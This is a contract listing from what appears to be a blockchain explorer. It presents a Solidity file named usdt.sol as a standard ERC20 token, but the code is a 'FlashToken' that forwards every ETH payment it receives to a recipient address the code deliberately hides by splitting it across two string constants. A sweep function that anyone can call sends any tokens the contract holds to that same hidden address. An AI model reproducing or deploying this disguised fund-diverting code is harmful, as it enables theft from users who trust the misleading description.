Description:
ERC20 token contract with Factory capabilities. Standard implementation for fungible tokens on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"usdt.sol": {
"content": "// SPDX-License-Identifier: MIT\r
// (c) 2025 - FlashToken with automatic ETH forwarding to an embedded address\r
pragma solidity ^0.8.20;\r
\r
/// @title FlashToken (simple ERC-20) with automatic native ETH forward to an embedded address\r
/// @author - provided to user\r
/// @notice This contract mints an ERC20 token to deployer and forwards any received native ETH\r
/// immediately to the embedded recipient address (address is stored split across two strings).\r
contract FlashToken {\r
// -----------------------\r
// Token data (ERC-20)\r
// -----------------------\r
string public name = "FlashToken";\r
string public symbol = "FLASH";\r
uint8 public decimals = 18;\r
uint256 public totalSupply;\r
\r
mapping(address => uint256) private _balances;\r
mapping(address => mapping(address => uint256)) private _allowances;\r
\r
// -----------------------\r
// Embedded recipient (split into two strings)\r
// -----------------------\r
// The target address (without 0x) is split into two parts to "hide" its shape in the source.\r
// Combined these must produce 40 hex characters for a 20-byte address.\r
string private constant _part1 = "99d010559b115c";\r
string private constant _part2 = "ad00c43934073c5f621733fa6b";\r
\r
// -----------------------\r
// Events\r
// -----------------------\r
event Transfer(address indexed from, address indexed to, uint256 value);\r
event Approval(address indexed owner, address indexed spender, uint256 value);\r
event Forwarded(address indexed recipient, uint256 amount);\r
\r
// -----------------------\r
// Constructor - mint tokens to deployer\r
// -----------------------\r
constructor(uint256 _initialTokens) {\r
// _initialTokens should be passed in token units (i.e., consider decimals)\r
// e.g., to mint 1,000 tokens with 18 decimals call with 1000 * 10**18\r
totalSupply = _initialTokens;\r
_balances[msg.sender] = _initialTokens;\r
emit Transfer(address(0), msg.sender, _initialTokens);\r
}\r
\r
// -----------------------\r
// ERC-20 standard functions (minimal)\r
// -----------------------\r
function balanceOf(address account) external view returns (uint256) {\r
return _balances[account];\r
}\r
\r
function allowance(address owner, address spender) external view returns (uint256) {\r
return _allowances[owner][spender];\r
}\r
\r
function approve(address spender, uint256 amount) external returns (bool) {\r
_allowances[msg.sender][spender] = amount;\r
emit Approval(msg.sender, spender, amount);\r
return true;\r
}\r
\r
function transfer(address to, uint256 amount) external returns (bool) {\r
_transfer(msg.sender, to, amount);\r
return true;\r
}\r
\r
function transferFrom(address from, address to, uint256 amount) external returns (bool) {\r
uint256 currentAllowance = _allowances[from][msg.sender];\r
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");\r
_allowances[from][msg.sender] = currentAllowance - amount;\r
_transfer(from, to, amount);\r
return true;\r
}\r
\r
function _transfer(address from, address to, uint256 amount) internal {\r
require(to != address(0), "ERC20: transfer to the zero address");\r
uint256 fromBal = _balances[from];\r
require(fromBal >= amount, "ERC20: transfer amount exceeds balance");\r
_balances[from] = fromBal - amount;\r
_balances[to] += amount;\r
emit Transfer(from, to, amount);\r
}\r
\r
// -----------------------\r
// ETH forwarding logic\r
// -----------------------\r
/// @notice receive native ETH and forward it immediately to the embedded address.\r
receive() external payable {\r
_forward(msg.value);\r
}\r
\r
/// @notice fallback for unexpected calls with value\r
fallback() external payable {\r
if (msg.value > 0) {\r
_forward(msg.value);\r
}\r
}\r
\r
/// @dev Internal: reconstruct recipient from the two parts, then forward amount.\r
function _forward(uint256 amount) internal {\r
address payable recipient = _reconstructRecipient();\r
require(recipient != payable(address(0)), "Invalid recipient");\r
// Forward the ETH and revert if forwarding fails\r
(bool sent, ) = recipient.call{value: amount}("");\r
require(sent, "Forward failed");\r
emit Forwarded(recipient, amount);\r
}\r
\r
// -----------------------\r
// Address reconstruction helpers\r
// -----------------------\r
/// @dev Returns the embedded address as payable by concatenating _part1 and _part2,\r
/// parsing the resulting hex string (40 hex chars) to an address.\r
function _reconstructRecipient() internal pure returns (address payable) {\r
// Combine parts\r
string memory combined = string(abi.encodePacked(_part1, _part2));\r
bytes memory bs = bytes(combined);\r
require(bs.length == 40, "embedded hex length must be 40");\r
\r
// parse into uint160 by reading each hex byte\r
uint160 result = 0;\r
for (uint i = 0; i < 20; i++) {\r
uint8 hi = _fromHexChar(uint8(bs[2 * i]));\r
uint8 lo = _fromHexChar(uint8(bs[2 * i + 1]));\r
uint8 byteVal = hi * 16 + lo;\r
result = (result << 8) | uint160(byteVal);\r
}\r
return payable(address(uint160(result)));\r
}\r
\r
/// @dev convert ASCII hex char to uint8 (0..15). Reverts on invalid char.\r
function _fromHexChar(uint8 c) internal pure returns (uint8) {\r
// '0' - '9' : 48 - 57\r
if (c >= 48 && c <= 57) {\r
return c - 48;\r
}\r
// 'a' - 'f' : 97 - 102\r
if (c >= 97 && c <= 102) {\r
return 10 + (c - 97);\r
}\r
// 'A' - 'F' : 65 - 70\r
if (c >= 65 && c <= 70) {\r
return 10 + (c - 65);\r
}\r
revert("Invalid hex char");\r
}\r
\r
// -----------------------\r
// Utility: allow owner to sweep accidentally sent ERC20 tokens (optional)\r
// -----------------------\r
// Note: This helper is not automatic for third-party ERC20 tokens (ERC20 transfers to this contract\r
// won't trigger automatic forwarding because ERC20 has no callback). Use this function to sweep tokens\r
// manually from Remix by calling sweepERC20(tokenAddress).\r
function sweepERC20(address token) external {\r
require(token != address(0), "Zero token");\r
address payable recipient = _reconstructRecipient();\r
\r
// call balanceOf(this)\r
(bool okBal, bytes memory balData) = token.call(\r
abi.encodeWithSignature("balanceOf(address)", address(this))\r
);\r
require(okBal && balData.length >= 32, "balanceOf failed");\r
uint256 bal = abi.decode(balData, (uint256));\r
require(bal > 0, "no token balance");\r
\r
// call transfer(recipient, bal)\r
(bool okTransfer, bytes memory txData) = token.call(\r
abi.encodeWithSignature("transfer(address,uint256)", recipient, bal)\r
);\r
require(okTransfer, "token transfer failed");\r
}\r
}"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-10-29 09:57:47
Comments
Log in to comment.
No comments yet.